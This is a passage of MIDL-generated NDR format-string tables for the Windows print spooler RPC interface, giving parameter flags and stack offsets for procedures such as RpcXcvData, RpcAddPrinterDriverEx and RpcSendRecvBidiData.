*/\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 4896 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4898 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4900 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 4902 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4904 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4906 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPrintServer */\n\n/* 4908 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4910 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4912 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pProvider */\n\n/* 4914 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4916 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4918 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4920 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4922 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePerMachineConnection */\n\n/* 4926 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4928 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4932 */\tNdrFcShort( 0x56 ),\t/* 86 */\n/* 4934 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4936 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4938 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4940 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4944 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4946 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4948 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4950 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4952 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4954 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 4958 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4960 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4962 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 4964 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4966 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4968 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4970 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4972 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4974 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPerMachineConnections */\n\n/* 4976 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4978 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4982 */\tNdrFcShort( 0x57 ),\t/* 87 */\n/* 4984 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4986 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4988 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4990 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4992 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4994 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4996 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4998 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5000 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5002 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5004 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5006 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 5008 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5010 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5012 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 5014 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 5016 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5018 */\tNdrFcShort( 0x97c ),\t/* Type Offset=2428 */\n\n\t/* Parameter cbBuf */\n\n/* 5020 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5022 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 5026 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5028 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5030 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 5032 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5034 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5036 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5038 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5040 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5042 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcXcvData */\n\n/* 5044 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5046 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5050 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 5052 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 5054 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5056 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5058 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5060 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 5062 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 5064 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 5066 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5068 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5070 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5074 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hXcv */\n\n/* 5076 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5078 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5080 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pszDataName */\n\n/* 5082 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5084 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5086 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pInputData */\n\n/* 5088 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5090 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5092 */\tNdrFcShort( 0x336 ),\t/* Type Offset=822 */\n\n\t/* Parameter cbInputData */\n\n/* 5094 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5096 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5098 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOutputData */\n\n/* 5100 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 5102 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5104 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter cbOutputData */\n\n/* 5106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5108 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbOutputNeeded */\n\n/* 5112 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5114 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5116 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwStatus */\n\n/* 5118 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 5120 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5124 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5126 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 5128 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterDriverEx */\n\n/* 5130 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5132 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5136 */\tNdrFcShort( 0x59 ),\t/* 89 */\n/* 5138 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5140 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5142 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5144 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5146 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5148 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5150 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 5152 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5156 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 5162 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5164 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5166 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 5168 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5170 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5172 */\tNdrFcShort( 0x58a ),\t/* Type Offset=1418 */\n\n\t/* Parameter dwFileCopyFlags */\n\n/* 5174 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5176 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5180 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5182 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5184 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum90NotUsedOnWire */\n\n/* 5186 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5192 */\tNdrFcShort( 0x5a ),\t/* 90 */\n/* 5194 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5196 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5198 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5202 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5204 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5206 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum91NotUsedOnWire */\n\n/* 5216 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5218 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5222 */\tNdrFcShort( 0x5b ),\t/* 91 */\n/* 5224 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5226 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5228 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5230 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5232 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5234 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5236 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5244 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum92NotUsedOnWire */\n\n/* 5246 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5248 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5252 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 5254 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5256 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5264 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5266 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5272 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum93NotUsedOnWire */\n\n/* 5276 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5278 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5282 */\tNdrFcShort( 0x5d ),\t/* 93 */\n/* 5284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5286 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5294 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5296 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum94NotUsedOnWire */\n\n/* 5306 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5312 */\tNdrFcShort( 0x5e ),\t/* 94 */\n/* 5314 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5316 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5324 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5326 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum95NotUsedOnWire */\n\n/* 5336 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5342 */\tNdrFcShort( 0x5f ),\t/* 95 */\n/* 5344 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5346 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5354 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5356 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcFlushPrinter */\n\n/* 5366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5372 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 5374 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5376 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5380 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5382 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 5384 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5386 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 5388 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5390 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5392 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5398 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5400 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5402 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 5404 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5406 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5408 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 5410 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5412 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5414 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 5416 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5418 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5420 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cSleep */\n\n/* 5422 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5424 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5428 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5430 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSendRecvBidiData */\n\n/* 5434 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5440 */\tNdrFcShort( 0x61 ),\t/* 97 */\n/* 5442 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5444 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5446 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5448 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5450 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 5452 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5454 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 5456 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5466 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5470 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pAction */\n\n/* 5472 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5474 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5476 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pReqData */\n\n/* 5478 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5480 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppRespData */\n\n/* 5484 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5486 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5490 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5492 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5494 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum98NotUsedOnWire */\n\n/* 5496 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5502 */\tNdrFcShort( 0x62 ),\t/* 98 */\n/* 5504 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5506 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5508 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5514 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5516 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5524 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum99NotUsedOnWire */\n\n/* 5526 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5528 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5532 */\tNdrFcShort( 0x63 ),\t/* 99 */\n/* 5534 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5536 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5538 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5544 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5546 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5548 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5552 */\tNdrFcShort( 0x0 